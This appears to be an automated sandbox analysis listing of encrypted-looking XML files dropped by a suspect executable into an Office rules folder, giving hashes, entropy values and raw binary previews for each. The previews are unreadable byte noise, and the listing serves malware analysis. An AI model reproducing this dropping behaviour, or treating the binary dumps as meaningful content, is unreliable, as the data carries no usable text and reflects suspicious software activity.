SHA-512:	61ACB7714A50E8650B01D64C2C82FFD025204E746E5BA19D23E1726FAC32A6C6CDC7EE1EADBFED3067CAAA1638F6749F1C32BFA7F3A51F5CD88A91D0289B52F4
Malicious:	false
Preview:	.<?.{...6.5e=.wI.U.6..~.QmF:..@K. .?..x...........?).-hF..8.M.e.]-....5.0..Xq$...h.&.A....Lk.0.8GZafW.(.v.k.^C.L.z.d...-yqp. J...$..0....H;/w&....}f7&&c`]..>...`T.0Qc.....a~U#azz.=..&3.....j8.F..PU...R.".p#..1%.de..pY.5\|fd...I.&(..E.~.+.M.y.2.qHY.Hgr.].....O..x....u%.......p........K.....;b..K.....(..-^.8X.U...FhP....U....4.F.H9...!<....>...%..@..'..PZ^.o...w^...X.k....A?..y.....#........%.../.f E....B..Z...N...m....K..q.d.>(a.z.w)......%.!.Cz.=.R,.},...JF.......>..J.;.Z..\L..c...)}.z...^.4..H...8c.!..,..\r.am....V`6../.B...gF.K.e..6:[..3(;......7/...Y.F...../.._.....(.v;.H.DP5.g0/...so...R..6..=L'-W#........(..J.f...*3..8%y..I. ..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.747426396094554
Encrypted:	false
SSDEEP:	12:fn+Mwfk2QwHZASV1N2eDVdYRdRU/EBZTqyJ8D3lp1+eWLhawcVihlgKxjVcii9a:fBb/gltdYRdRuEWlP+ahVihlXZVbD
MD5:	39624435310C7722E0755BF56C654032
SHA1:	6B6B3E08A2B8DC28F960765E277F4EC8A362862F
SHA-256:	191A8A81194572402BA7D3994EFEFA5FCC5B509A5C68B1D47636FAF1E7C15D49
SHA-512:	3C850E1B08A5EF5B893CF9661217304F38E50AC7C6D12540DC93E2E741D71877CF08BF39A9B4953771E3C4B276BF0C935A61D103908517D1EB6EB4E87830C126
Malicious:	false
Preview:	.<?.M.D;.Z..l..n...Bp@....U...Xaf3.>........8.U\.~. wS6...1..@..t.e.....a......RQ........Z.\_..t.q8...r.q..."...V^'.$.7Hj..\|.i..du..VDa....A........Q...TL.n.+..#c.m......d.S.aD.m.....:.R..7.q..K./.,...M.=.jF.n.s.7.....P.x.@..2..R...{43...&.2B-F.,....G..2....!....t.S....o...E.@Wa....[.....C.5.$Wx..Kc#:....Y.G....}.....g.q....`.j.Bl.I...K.(..........9.O..9..A%o...tR..=.Sr....I....$P.J...S.Y.}..C..1[.......xDP......V<..`./.}V...:....Y.$.z?...t....vx...}......d..Ub...t.W....N..B.....lY...l.7...&.x.8.1.1.Ja,+...-..~.l.\..j..............)D.Q.Nm_<%qh..i....Q..uY.!0..p...V.,...X.8. a..M0PSKdO.e.SFg0...'.T..l.P*.z.R..o....#43.\|.vTE....,.+..t..g..D..P...........)Y^.L...!..n.\.j(.1."V..=nX..6.MgH.S...titkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.64077222015033
Encrypted:	false
SSDEEP:	12:BnjHlsGSOSJoS/4IrYQXmXv1r0P3sdFPvLVGORE+gRysGZ38h0BeLjVcii9a:BjHUOSJLGv1achGlwsGZ38vVbD
MD5:	1E911FD50D5FD7ED7AF259CCE766C74B
SHA1:	0E383106371403234174742A602476F85C2687DE
SHA-256:	0E15BB00ACE9351E061434D33D11853130685CCAEF56F96FEFE42B0CDEFD146B
SHA-512:	46682C29E264DDD9522D107E81666026815957EF2021DA518B56B7EB0754A0539F82A72850B8EB9AFB0DD212595ABF5DF6400D94D090C2FD51DDDDFE35FC36F5
Malicious:	false
Preview:	.<?.h.+..&...6.QP.m.RU.3..+C.iOF.(.dX....?.Ab.....?.}.FI.V.[Eg.k@.......y..b.^.\|.>...s.5L.....E.&...m..o7d...Z.+!...m....O<eF.4hj.......G.~.k..#F.^.-.....b..+s..7.@....e.......YT..S.L.3.P...00.:..a..p....[...=.@9......E"wp...Al.CLsM..$&..p..A@{Au.............N.B.U?6~;aQ.+.do..o.h}:.(..&.`..rNY..^g.I.V]._..].l..........%o.Ea.E..SB._..W.[b..b...K...e1.\`g..c,,.p..A.N.,...w...n.Ce..[f.d$^N..2x..'k.q..0.\.....p...^[...#.7...V....@v....^..cq....P....F.....m...C..J.D..C.....{i..%.N3.z"a.Z...#.9u...'..o..s...#.t..)..h.rz/u.......L._.L.`.$.........ai.j...p!...%$.][.2.8S&...3......"W.}.......\|...`...^......}S........*i.b..L.m...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.71060142302368
Encrypted:	false
SSDEEP:	24:lT6WlQE/ELbs1uSzbe0MYI6qtlkVUlLXVbD:Z6WlQE/ELybEYIzecLFD
MD5:	80606AE09CEED26E40423384ED4E5561
SHA1:	740F900DE173B8F3C9C370476EDC230AA21517C3
SHA-256:	19B41AE6A5395340C6F38E08B3C75F9CA2F05E6EBEFA46ABA652920592B00BF0
SHA-512:	9BBBEED9C4709767A2547400A5D56C81ACB61EA9B9FC9E78AF5B9810D31E0AF1C78A2C3DCE1F4916309B669514E5B418F4500D7C301A33AF385C45C019DA14D2
Malicious:	false
Preview:	.<?s....Zym.i4.[..l]r.[........9...a....v..7.:........18.'.]...'U.z......7=\.]....... .....w...!.{....{.....s.....v..'A...........XDE"..........U[Z.}.......O.O....&..O..*f..K0..,.$.L..#.6e...G~..G......t.^..D.._h..9.~.I....>..D!;F..n.2.........2.4.......;...8.......T..<..%~.KJ..Q..D2>.........[..D:...7.......4..7...^...\|..#..U...@=\|.,~..#...(.{...\.Q..X..a@..E..J.ev...R&..{_2.3.&.{f....v.~:.3..!......e.`.v%M.6iy.n\_7..%.&.}i4.V\|.`.k..b..,8..0...E....L...}..e.JM.+.L.. .S.J..Z2k.GA.....y..s...3Ep........\.kV......".@r...}l..ST+.N....W .\C.....'..}...w\........@...8..2.y..9.....^{z;..\;$..;M.......@.].2.........q...i[.....e....t...3.....=..9.t.v..`.b.P..8.s..9....f...-..0..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.703955923715451
Encrypted:	false
SSDEEP:	12:7I0YXPHPi0FjWwwekRC660BQRNUQR1Ien6qPvP3YQ+sZTe/t2iEJd+JS/RKjVciD:3Yf35W4aCF0Bi1Ie6UvP3YQ+sZT62i2i
MD5:	CFF4E7091F5888B3E9EA2EBB98B3242E
SHA1:	B53383E945E68C4F15AE438EF845B69AF5A012E0
SHA-256:	325C10948BB4441B5EFBF4D30BC0F1A3016BD53CF8AC63BCF93855676FBA46B3
SHA-512:	C03A4B61806659A57CB31C902B35F909CA8094D203A85C3E518BD0912326F556900B3F4F05C930BCD6DC2B5AB66997C501BA69640BE29101E3C7F5F231D4FAA3
Malicious:	false
Preview:	.<?....l\|.y_..@W5. L..Y......f8e\.......e%..\|.IK..rV).H.F..%....T.\|..Bp..}.?.6..A/....n.+..G..a)j"0../^xH....R.)....p-O.@.<......D7...7...a/_...8.o...q...c%..u\.[.i..sw...7.1.L...'.%Ca.N.g..[n9s.b..{{;..zN.....O7.\.=.."X^.Zt..>....:...K#x#E......h4.H..b....!.w!.n'.7......t~.6.....I.........A..@63.`....@4$..1..2C..V...O.uI..a......<^H.cp../.....6\jUv\|.).\...-;.W,)..){}Z.N.j....R).I...-%.<L........C...SP._...W.N...f..-}.P$.`........gF..4....\.?.!.R.}$.dO...c.^.eh..$g.i.e.......w.W.>.=.y&Y...{"...D<....@#..0..f.[.......YO..>...;w$.N...=.Oy..u.uZ....<T....i.6}j......V..........h6^kT...l..D.....}.m0.SCL..n>.Xk.bP&k.*V..!<..Witkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.7146671530164665
Encrypted:	false
SSDEEP:	12:0Es5nUM3Cfctpu10LA1bYH55MvchFt32Hb7KLH6EgVlD3lSUHEP/0VejVcii9a:A5UM3Cupu10LGvCU74HhgnD3luVbD
MD5:	25495A75611F6CA3215072E2D44CCD1D
SHA1:	645EF3E64FEF1EE7720C32DE721228846F30B716
SHA-256:	8E5E5E3363CAD630FA1B4F17DB7B4511A95CD8C603120AB121351E2A714F1295
SHA-512:	1A71ACEA66EECB7AC5089FB8D4CD36CAAD8B846FB7FFB0760CC332DFEE848EFC82240870A5105AAF8D90F145C1399D12B140F70F330E4BDF420340049C2FC12F
Malicious:	false
Preview:	.<?.8=..f.p..4O.+.......<..g._....S.2.9H.....q...8M..7..^.J.@(.\...:....O............Xo.E....S......m...A..........(-&a...>]...\...8..ngCI......I8..{).8..wC.6....#...{w..J....>..?..6...^]'..b.%.%.1W9.........?...oA.d.....lGz...0.n..Z2..KOIE..w.V.......K...&.E\1.P..h..r.pvX.q<-.{'h.H......u.h...y..L....H>..f@...H...S......fV5i!..............#.7S./FL..tr..d...4..b...."..F+%..t.....>8...^..6.<,..#......6..8)..rH$;.m..y.0..G..aGIV...F3..~X...{.FD.D..F.ZA..`...]B.G.....1 ..]D.G..K.\|....U....gP.<......G.t.... ...'..\l".<...*Ocg..!.s..f......e.1...H=....R..].a.C.o...28....I.......5........J2....;..y.U..!..._.......WzR..qI..j.T.a...k.Nt.q....._`MeW".,!.lf.....j..^o.'.H;.....V..0."eitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.71230226649089
Encrypted:	false
SSDEEP:	12:7eIeasLJrVQqJ78YuXPYhK7K7Ms1UNdbWso8vB6zkshx8g7/R9TjVcii9a:CtasLJrVN8bwhXgsl8vMwshN/R9HVbD
MD5:	987D3D7979EE4F5295F9629ED91AECA9
SHA1:	898A6C131CC5434B0115800CF57207031D3F9FC6
SHA-256:	5A599BDF9F629518C63621A649CF149AEAFAC3D3F648DD8FA350A4BCE4BA8050
SHA-512:	64FC62418648A9C3A3C8095162DE6117A694E1CC809E3EFA7D3699331D0F89C1EF53C9CA013D4806C0E570C73239C5156456AF3A49D3CF2AFA0E2A0F8027FCCA
Malicious:	false
Preview:	.<?.....u...;...>T%.u5.3h\...Z...#...R.....~...8u..p.bRH...\|2...)...^q.....\.,......./a.....^B.]=.@...@.P...-4k..B..*4.{_w...Zf....].:...O.@eH....8C.D...b.ee..\z..n.{.G..u..5F.z......!Sq:..m..3.R...l..Y.g.;..8^...11+H.d.U.T......R..$={...EO..6c.(Z...h../....y..e..@n6.p/.(>..1.{~....m..S.HF....Y.g.RN...ia...5..._..A.......qX+...)._8u.5.......33.3..t....VpQ..<. .Q....5.F.F.....J.)..\|.......'-K.y.82..}\|.dl.A&.\|.l...dyl...3.q<.N...x..yA9.F...q..hl2@4.,....b!.B.+..[S.....m...eBno.E ....]..........\i......\...F..M..2.%......0j.a.-..H.5p..n..d....%-$.....+07..#...l..a..5.E.[.WW{\|S....C..J}8..xdU.....n........bZ..A.P'...Tv....o{.a..ya~.n..W.Q.......t..w......$....Z.`..>F.......aitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.728570604760946
Encrypted:	false
SSDEEP:	24:YE8y31lEQxFm6fZVnEKTksVoy5DZi94gsVbD:Yq1lrx5fZVfVoyjqsFD
MD5:	30B676F1BABEEEDF97C1A690E14A6117
SHA1:	F325B3AB8816B198BDEFF78FC9B0E1BC961DA3A7
SHA-256:	82145860EE250C58B14E6353D0F4F616B86B96FECBAC2A6A2C50C8B053985FCB
SHA-512:	8594F2ECDC4F0E9E547CDF92FF520F36CC59F2EAF1D222CABB777F8C406976F95415BE01A26FCF54BF13FE5AA7A8F3DE74EF8C78158181F9199E5725166FDCD5
Malicious:	false
Preview:	.<?@!o\.S.!~s.....,G.M..O....ZK!.#!<...;.Q\.(....t.i...q.J...HwD/h..e.S..$.M`%l......F..P.L..i....]..M\d.vv.g...<`a....... {.A.....C....Y....\|....7...}.....v,.31..wP=..qe..m(.\......UKY...8J....m....n..O.......@&.M....KR..^K....'hyc.V.v...../J.8.........!{.y).pAA.....nu./.....5....J...>......A...~y.e.1.vN..02....l.p..i../.(v6...hW....\|y.......N.u.t....2Y......_.mT...(...._f..j$wP.Rmj=..J`..YgD.60.....@.\|._...vZ...k..R.-..0..;-<.....Cb....._.R..k...vt,O+.....~{g.??..A..........l....k......>MQ...p.%....d#>..4...%S...?...;.1. ......x.)c.(xH.$..n........H8w...C/.Gao.K.....)......L.]i7?.7...?......9..E..d%.'....%e4.."....).....U.....@..7.R.)...^5F...q....*..+0.c..b.M....H.....{....bU....#}.q]V.a....Ritkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.667718312703898
Encrypted:	false
SSDEEP:	12:FnimERv39KbIN2eFPZNqUolckQNVY7ScggRMxujS1CKv4MdDAjVcii9a:FnimEhYI5ZYUuQNy7SQ32CKwMJiVbD
MD5:	348AF706F64479DF6A964806388723AC
SHA1:	2B445425515E4CCEFA3EB83BBD644EBC8ACD72DA
SHA-256:	2E0460FC9166A2EB4879D4057B1AF052DB4F76C4CBF454F40A3F7CA423A3DF3D
SHA-512:	A74940BFD779B38DF9D5D68268F862076ED68770E9E40FF7C06E003CABA5E8BDDA7830F409A5FF37194300F39797DE7A00479243C8F8111F5CE2F7F5F86392D6
Malicious:	false
Preview:	.<?[D..R...../?.%....f.e..j}....yD..2.....a......~.6.'2ie..9..S....q.}(.2.+.mC.._.....F..........W.%..._...m...S.."4r16.....T.W...>..._-.v. ...o5\|m.u.1.S.[.>...".wE...T...-<y[z..fD......k.gQ...5%<T...$_.D...Q.J].5..?X.^nq+..F..}++.............Y..H}...[..$..2t.>.N=#M.Fs.../8}.....\|.E.....uv..x%...AL.i.%l.:T.^9R.&.....nJ...S......i...5...T.2..:A..8.Mm.[..G......m.J8]G..3...8M...j3.<..{4W..,K...Q~c9...a4.o.....n...)._.....YKx.3.z....X..6}.0.`".+..2.X..Fo...J+#...K.....O.,Vi....S.V....Z..^.Y..uX......\E.....;E.z...d....n......(&..aI....b...Dh/.4B_>......>.[+z....0.-.nd.......>...Wg.. ...9..<W... W.......+L.Gx....Mpa._....kJsYv.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.686655789003822
Encrypted:	false
SSDEEP:	24:JwjTpkazQjTcgzR2+rUFMQUH354+rOpVbD:2jW/V2+XLHpvrOpFD
MD5:	93A8E5126A0A91017552DC4902542362
SHA1:	04C164E329C8C04A50BAACCACBDDEDCF569E0533
SHA-256:	316130B05080FE727057B46CCDC9F83047AFA7B7ACF6EF250DFE04212BCCD24F
SHA-512:	8CEE9835100F15045ECE8CC3E46A630555F708350B55A52FAF6EF1B40026E603FBB148AC0EE7DFD149D8B731252F8BA7FB2CE9DE86B2AA43D0490A6CBA0A1007
Malicious:	false
Preview:	.<?..p..U0j.?.q....n.?I....P.<..0Zc..s~.....(<..... ....K..x.....C..B\|#.q..V...n.(..B...k...<%..'..yA.....n.{.&..'.."2.L.3......S`k.."3Tm.ke..D@xk.X.._.a.......g.(.o..\|GB.....x..C._@....Q....U].D2%...~mz..:Wf$.2.&.g.....+P...P.a..}..`.......K3...?`k.H........(^..1..g.L..NM..J.p.p6r......CR...v.....!...1I8.....NR.i!d.;C%.7$..2....9y..`...../=.6IgL..F.r.....r...A..<P..F......3/1...O....Z.[.M...(x...\|..q9L.Z........K{P7...(+.1..'......R.O..$.gT.s6`..2.W..pX.8...%&.:.`.%.Ew.o...6.3.g....LK.Q8...v...Y].5....C.i.{j^p...Ct..=vnE..d..*j...4.......2,..k...{W.I.\q...@..I3.s.P.V....$YU.}...L.....m~.N......k...I..1..`..#..Ry.p.t.....q<.=.X.I.N.%v...... D..OK.>qq.0...A_..ZbD...~[..N....._..?.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.6986141150361975
Encrypted:	false
SSDEEP:	12:Md9XwCUmQtyHE8Il8TOJNcIbHdlweND/2Rb+sznBpDB0WaR0Y1otB+ScAtjVciik:Md99GGKNcUvND/e++bA6BXjVbD
MD5:	DDA9B988876EFB6303E464EDAA2DCA5D
SHA1:	4C649A9623C2EF73EB7EAD76FC8FA1DAF3C9DF1D
SHA-256:	8B3E93AB78F0A0B19F51A7CDA372B6769C3C8B2C3C9F7A9D3B00B8FCB4781EF8
SHA-512:	94D1D17B3704437403A754E6F89072AAAF1C88CD570A1C58669CCE6A620303D185384FBDE0EFBE17F9D0183E32F9A84DF26D63A6302EC67B61DC5CF8C0997826
Malicious:	false
Preview:	.<?{./v....=qaU.&Vh%.&.+.lO.J..2..1....."W69..z..\|..HLH.c...ml...9A..$k..F.u...Pi....o)o"0..N.9.._..p"..u.Fv..(.v.j1.e.Q...n&..Mx.g+ ..+....4...fp....;.9.a...}6..0....D.E..z....../.q_7..}<.F..Mor\+.,...J.. }..=h.o.x...LF.C...[Vw...e...[.SN.fmo.(.......M.?...g.........\|}/R2..y#.9^..O.P...V.........+.....[[.V..a.z..gK.ob...`....K.(......f.gP.2.Z/..x.+.R!.@pz`.....`.t..~.m.K..g..gY..KW...>.c..;.....qI....V.\.%W"S.P...;.4.wB.Q..... ...T..y.S".#.E.e\|.WIf... .......wQ...K..p.x...7.l...,k..].!.E......\0q.s=......;.....E.8..G.....r.JP..N..v...IN.K..,D:...N....R...,........s...]l.....p...,WF..=...E_,m&M...RH.......J...Sg..P..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.725855737899169
Encrypted:	false
SSDEEP:	24:8LYGU5tHfKLKn53BL1Sjj3/k8QRq2gbAclxVbD:8Otv5t1S3/SM7lxFD
MD5:	9E8CF646E79081C2C9D022BE7636FD60
SHA1:	6FC78AF42BE33A1FA239AE98E9459341D36CC2C7
SHA-256:	A0770A37044B1D881FFBCB981A2C01E77CCEDDFE6FD36599AA11E3766E5E34B8
SHA-512:	9CFE677A24418DD75030071E38F53E9E83C145F63C2841190F5A377079BE1C427F6458027F7AFC27815E92119766B97D056F589E44BE90D65D0401BF2FA0DD6A
Malicious:	false
Preview:	.<?n6.UF\.<j4v...Q....i.8R....`...Scu..9..f....pyuD...o.<.....m<.`5..m..e..d......0..?1."SM.h..P..i^-...l''...L.&Aia...,.":r..@d....:a.h.!.C...a..P...v...6..cf..l../...:......xO^i.=R,D.d.='....4y....c.....M.N./z......h.a..#._...U.N..RUS...>d..I2......W.J.0d....OhJ.c~.<.g.<\.....K...1.Y6.YZl.<.z..lIoA......vBi...q...E .....8.....~..`3u....\.7j#.s....RN..^....J7Py.O.v:...KF\|'..g.\|u...{0,.k..yr......0....g.s.v.Bx...J...2')E\|Xi.nl....l..4.)o.....t..I.-...c}X....).......x4...........{.m..+,.f.^.!...v.E1...Yu....0v.S-.[....3.h...`&..R........\D.'...N.....W".........a....b...A..Dl.M.. ._.Y.=V.?F....}[..-:.Z5Pu...5.........c%l +16..e..7/...>.[nF.5.dv}.......`qt......p..e.!..x..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.687728449049444
Encrypted:	false
SSDEEP:	12:NmkZ1yE7pqBm8hufI8L5jXKT6jg6gQgaosx7k4P9Dw7hNjVcii9a:Nmw1ySUBbhug8LZXJBHkC9MVbD
MD5:	0D88242DB8B662419AF2E8EBAA15AFFA
SHA1:	334878D9BCF98DC213F1763BD916F9231645EF9F
SHA-256:	DBC1C1969F749AB13BE2428D478C6757B18526B73F2CD8F48D0E8A4BFB202B9D
SHA-512:	B5C69966F7FE9D05499B72C8A9208DAAF753D5C0D559CFE13CA8E469E5A184D88C2997DA4A05614D84F2417D92ABEE0CD04B449C0B383A742A1899E6C70953FB
Malicious:	false
Preview:	.<?......A2...........~...[...'9..CPV.....#..[..:&.qI.r..jY...V...\|...0....I...=RD.......{....X.K.r7...G.F.....^w.t....I..7..e..H..G...;...B...,..L\|....m&?.x..&....4.....2...,..0...?.9...U8....._1n....#r.2\.+...X.Y..aygz.:o.J....a\|y1T\|.&.Z8.g..'G[.c<..9]..N.F.u..?..s...[}..v....nR.....z.v.6v..>/...}.l..\.>q....!..x.../.U....,.4;..TR.0..Z>.L..%/...\|.e....]\..GA......Lt....Be....>I..&....Kb..l.YD...g..n.{......E......A.....B.7.,U.h.....\|.C`.\|..Z...hz..w-0...........(.=o...&'....,?...dM.z..p..S< Q..k....f/...re..U..8P.x.~.....g^A..._...8....R@-...S.3l.......kgL.%A.p...S./CF.R........lUh..j....U....:G...~\..y...S.....:.L.0%.&.2...j.Mitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	833
Entropy (8bit):	7.726092470315481
Encrypted:	false
SSDEEP:	24:l8zv3loJT0oUfR9f2bE5mhvrgCIQDvZwVbD:OT1aKfRUEmvrfIQTZwFD
MD5:	43315526C6E555485B5ED78162BD2A68
SHA1:	88E951B1D1CCF7258F1BE56630D9C71B6A709349
SHA-256:	4CD5EBECD24301FB689B31D22787E80E2ABC04995C6F4FD98E8AE718DF439383
SHA-512:	174890B652B7021FBAB16E4C49E3439A30376A3FBAD4B0866A2D856C9DDB8FDD262F6F94526DE3AFEE0C3A62B1027C384B40798127FDC8745616547B3AE9F2D0
Malicious:	false
Preview:	.<?&[.\....V...G..l..Ucp....(....._@ME."ay..c..lO.<..0...=......l.).6..5...8...g=......x\.r.#t}..}A#..+.)..F1.. ....2.2..M.2Bfq.-.s.h8...K.i..y:.^f.},........ks..R4.f.....'@X.j..!,...[.Q...m..Ic....`.....z.#C....lQJR.........p..Nh.w.Q..~.).Q..NP.5..:....eGf...)9...-...)=H@9. ..L....o.J..?\NM./a.!..FmlZ..0.\.a..-..b.......LS....tN...g..\|.}..GS..Z.....-.=s......s....S.J....b./!E.U..o..23..O@.=....\|m......GL.>.p...u..:...+...H.V.'..x:.W.@._..z#5...+....QlR..8....j....v{..M$.;......xI.N#.L..![^...U..k!S...r=.9...,...&.@......%..i.y.....Rp'..Y..8....&....DEh.\|Y).y..:.>.@$.q..)..._^x...?h.G....i/. .u.....gqa'..\q.R+..HA.L.>.....2u..}.AO,.....E8.iU.9..'.U*.....mdI...m.7-..T5n.r..m.... .X...1..5.E.......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.7088510656905305
Encrypted:	false
SSDEEP:	12:zK7XM9BCNmE7NOP0r6uARLGqkc2Qq61rxYJWdiEZxON3wPVoRDkYljVcii9a:zIXMfroEP0r6uARyqkZQq4tiEZxBMnl9
MD5:	F26BCD44A90B228FBE88821A47CB246E
SHA1:	A619F4A9AF3BC53A78803F19F8183464DA4C5C98
SHA-256:	0A51A90589A9166860140ADE9EEE223263855C235EAA2859C5DB8CFAD887C1C1
SHA-512:	961CAC2385848CC27B59069F3CB4C324401BDD7565595B8E725F6ECC7F51EB47ACDD461046D6EB365AA2F593497B50A9D99B6762F66440BFF8E3F2E83228FD3D
Malicious:	false
Preview:	.<?.Q3x.... I[.U8zc.. ......B_....a..D.)..T.5.[.<..G4%u..u......l.{T..}.s..Q...,....].z..y..A...E..F..?.X...$?...\..I..$.t...[...y....Bo^hq..6..Cs....(}r.........H....~.. %.<.u0.(r._"y.-.Oi.?...........<.....,.Zr.&....... ....E`B!.........L........?.....\|...pJ....n..!.!HW..OM._(..ok.'......O:L.S....w..o..."C..pP.c..'..S.....#.P.1.o.^N...3XD.y....D...g.+.o..kd.d7.^......j..B.....r.='f.... b.=.cB.P o..l..AN....q..^.g.....n.M.;.6...Pg.Mah.~...Q'..z..k.8.4.._...$5dB!.....n.....?.4..L.6..dXH.....x2..."8.H:.._?......R..z...)&K...q..~"*..H...:...o .%.....:.`J&....lF....P,..j^Y.....^....S.QL..K...V..i.i.g.)P..F_F...rY....:itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.715935919406572
Encrypted:	false
SSDEEP:	24:T/ujxP+O6tJEE2yyVvQkG7ExkA+oRse5IX9VbD:jcNn0JUyyE7BAY79FD
MD5:	3274E8622D355C98D9B3CF57F9A53FC3
SHA1:	1670AFDEBCBC945583E51F323EDFA4CAF6393988
SHA-256:	3520D09EF7CE9220B5CE9073C81B1A75183FF2E40F44E861A90197569D8CC223
SHA-512:	7647845802065AC183865DF402F6B717D5F9E072279E1A0B19BB03E5BE81F06659171A69DF55CC9C88AFAD974C5A49313D1B151D548FA8D1EFDAD5F40DDF2E6E
Malicious:	false
Preview:	.<?b..`..{.....f$...z~...8...# '...........+A.`q...k.at..(^..+.....F.@..[.RI....k.oC..R....'..J.Zl.JM0...b....5.u.>D'oVe.Y.....1y.....8..rd....3.{9..I.........R.2.SJ..Z.0.}...F...0...l.4..2X.j.....PbN.5g.w..THB..i(5.^....TJ....>..B...+.+V..bAH6)%..H.U..s.R..:"a"f.V..j`.twy.gE.U...L.<.2..NLD}...a.>..wj.`.@.....sy.....;.s......A.mq4..X.M'+..+(.....%....u.}..d..?.G>....t....`...t......Q..4].....F...0..`?2.I3.W.I..m......v....P..sn.[. t.oF..<'.n.>.M........1!.5y=..\......K....Q....g...9..O..mF..`..^.[O.K.....e/}../CH,....@....T..+-..=*...7v.s..'>.s.....I.g.Q.l.W.....x.z.l.9.2........V.{>A.X.\|..N(`..]C....\.FF..T%/.....+.:t\i.:.JC.@...5_Vfv..CP]..._Uw..$..7....V.F...q.N=..4.EY.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120633v0.xml

Download File

